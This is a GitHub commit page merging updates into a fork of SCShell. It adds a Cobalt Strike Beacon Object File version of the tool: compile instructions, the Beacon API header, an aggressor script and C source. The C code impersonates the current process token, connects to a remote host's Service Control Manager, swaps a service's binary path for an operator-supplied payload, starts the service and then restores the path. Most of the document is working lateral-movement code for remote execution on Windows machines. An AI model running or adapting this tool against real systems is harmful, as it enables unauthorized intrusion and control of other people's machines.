Skip to content

Commit

Permalink
Merge pull request #1 from Mr-Un1k0d3r/master
Browse files Browse the repository at this point in the history
update fork
  • Loading branch information
ndur0 authored Mar 13, 2021
2 parents 9bfdf2d + 7ee6277 commit 083952d
Show file tree
Hide file tree
Showing 7 changed files with 205 additions and 0 deletions.
9 changes: 9 additions & 0 deletions CS-BOF/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# BOF Version os ScShell for Cobalt Strike

# How to compile

```
x86_64-w64-mingw32-gcc.exe -c scshellbof.c -o scshellbof.o
```

Then copy it on the CS server and use the CNA script to run it.
61 changes: 61 additions & 0 deletions CS-BOF/beacon.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/

/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
11 changes: 11 additions & 0 deletions CS-BOF/schshell.cna
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
alias scshell {
local('$handle $data $args');

$handle = openf(script_resource("bofscshell.o"));
$data = readb($handle, -1);
closef($handle);

$args = bof_pack($1, "zzz", $2, $3, $4);
btask($1, "Running BOF SCShell");
beacon_inline_execute($1, $data, "go", $args);
}
118 changes: 118 additions & 0 deletions CS-BOF/scshellbof.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
// Author: Mr.Un1k0d3r RingZer0 Team

#include <Windows.h>
#include <stdio.h>
#include "beacon.h"

#define LOGON32_LOGON_NEW_CREDENTIALS 9

DECLSPEC_IMPORT VOID WINAPI kernel32$ExitProcess(UINT);
DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI Advapi32$ImpersonateLoggedOnUser(HANDLE);
DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD);
DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE, LPCSTR, DWORD);
DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceConfigA(SC_HANDLE, LPQUERY_SERVICE_CONFIGA, DWORD, LPDWORD);
DECLSPEC_IMPORT HGLOBAL WINAPI kernel32$GlobalAlloc(UINT, SIZE_T);
DECLSPEC_IMPORT HGLOBAL WINAPI kernel32$GlobalFree(HGLOBAL);
DECLSPEC_IMPORT BOOL WINAPI Advapi32$ChangeServiceConfigA(SC_HANDLE, DWORD, DWORD, DWORD, LPCSTR, LPCSTR, LPDWORD, LPCSTR, LPCSTR, LPCSTR, LPCSTR);
DECLSPEC_IMPORT BOOL WINAPI Advapi32$StartServiceA(SC_HANDLE,DWORD, LPCSTR*);
DECLSPEC_IMPORT BOOL WINAPI Advapi32$CloseServiceHandle(SC_HANDLE);
DECLSPEC_IMPORT DWORD WINAPI kernel32$GetLastError();
DECLSPEC_IMPORT HANDLE WINAPI kernel32$GetCurrentProcess();
DECLSPEC_IMPORT BOOL WINAPI kernel32$CloseHandle(HANDLE);

void go(char * args, int length) {
// Parse Beacon Arguments
datap parser;
CHAR * targetHost;
CHAR * serviceName;
CHAR * payload;

BeaconDataParse(&parser, args, length);
targetHost = BeaconDataExtract(&parser, NULL);
serviceName = BeaconDataExtract(&parser, NULL);
payload = BeaconDataExtract(&parser, NULL);

LPQUERY_SERVICE_CONFIGA lpqsc = NULL;
DWORD dwLpqscSize = 0;
CHAR* originalBinaryPath = NULL;
BOOL bResult = FALSE;

BeaconPrintf(CALLBACK_OUTPUT, "Trying to connect to %s\n", targetHost);

HANDLE hToken = NULL;

BeaconPrintf(CALLBACK_OUTPUT, "Using current process context for authentication. (Pass the hash)\n");
if(!Advapi32$OpenProcessToken(kernel32$GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenProcessToken failed %ld\n", kernel32$GetLastError());
kernel32$ExitProcess(0);
}

bResult = FALSE;
bResult = Advapi32$ImpersonateLoggedOnUser(hToken);
if(!bResult) {
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ImpersonateLoggedOnUser failed %ld\n", kernel32$GetLastError());
kernel32$ExitProcess(0);
}

SC_HANDLE schManager = Advapi32$OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(schManager == NULL) {
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenSCManagerA failed %ld\n", kernel32$GetLastError());
kernel32$ExitProcess(0);
}
BeaconPrintf(CALLBACK_OUTPUT, "SC_HANDLE Manager 0x%p\n", schManager);

BeaconPrintf(CALLBACK_OUTPUT, "Opening %s\n", serviceName);
SC_HANDLE schService = Advapi32$OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS);
if(schService == NULL) {
Advapi32$CloseServiceHandle(schManager);
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenServiceA failed %ld\n", kernel32$GetLastError());
kernel32$ExitProcess(0);
}
BeaconPrintf(CALLBACK_OUTPUT, "SC_HANDLE Service 0x%p\n", schService);

DWORD dwSize = 0;
Advapi32$QueryServiceConfigA(schService, NULL, 0, &dwSize);
if(dwSize) {
// This part is not critical error will not stop the program
dwLpqscSize = dwSize;
BeaconPrintf(CALLBACK_OUTPUT, "LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize);
lpqsc = kernel32$GlobalAlloc(GPTR, dwSize);
bResult = FALSE;
bResult = Advapi32$QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize);
originalBinaryPath = lpqsc->lpBinaryPathName;
BeaconPrintf(CALLBACK_OUTPUT, "Original service binary path \"%s\"\n", originalBinaryPath);
}

bResult = FALSE;
bResult = Advapi32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL);
if(!bResult) {
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ChangeServiceConfigA failed to update the service path. %ld\n", kernel32$GetLastError());
kernel32$ExitProcess(0);
}
BeaconPrintf(CALLBACK_OUTPUT, "Service path was changed to \"%s\"\n", payload);

bResult = FALSE;
bResult = Advapi32$StartServiceA(schService, 0, NULL);
DWORD dwResult = kernel32$GetLastError();
if(!bResult && dwResult != 1053) {
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$StartServiceA failed to start the service. %ld\n", kernel32$GetLastError());
} else {
BeaconPrintf(CALLBACK_OUTPUT, "Service was started\n");
}

if(dwLpqscSize) {
bResult = FALSE;
bResult = Advapi32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL);
if(!bResult) {
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ChangeServiceConfigA failed to revert the service path. %ld\n", kernel32$GetLastError());
kernel32$ExitProcess(0);
}
BeaconPrintf(CALLBACK_OUTPUT, "Service path was restored to \"%s\"\n", originalBinaryPath);
}

kernel32$GlobalFree(lpqsc);
kernel32$CloseHandle(hToken);
Advapi32$CloseServiceHandle(schManager);
Advapi32$CloseServiceHandle(schService);
}
Binary file added CS-BOF/scshellbof.o
Binary file not shown.
6 changes: 6 additions & 0 deletions SCShell.c
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,7 @@ int main(int argc, char **argv) {
printf("Opening %s\n", serviceName);
SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS);
if(schService == NULL) {
CloseServiceHandle(schManager);
printf("OpenServiceA failed %ld\n", GetLastError());
ExitProcess(0);
}
Expand Down Expand Up @@ -105,5 +106,10 @@ int main(int argc, char **argv) {
}
printf("Service path was restored to \"%s\"\n", originalBinaryPath);
}

GlobalFree(lpqsc);
CloseHandle(hToken);
CloseServiceHandle(schManager);
CloseServiceHandle(schService);
return 0;
}
Binary file modified SCShell.exe
Binary file not shown.

0 comments on commit 083952d

Please sign in to comment.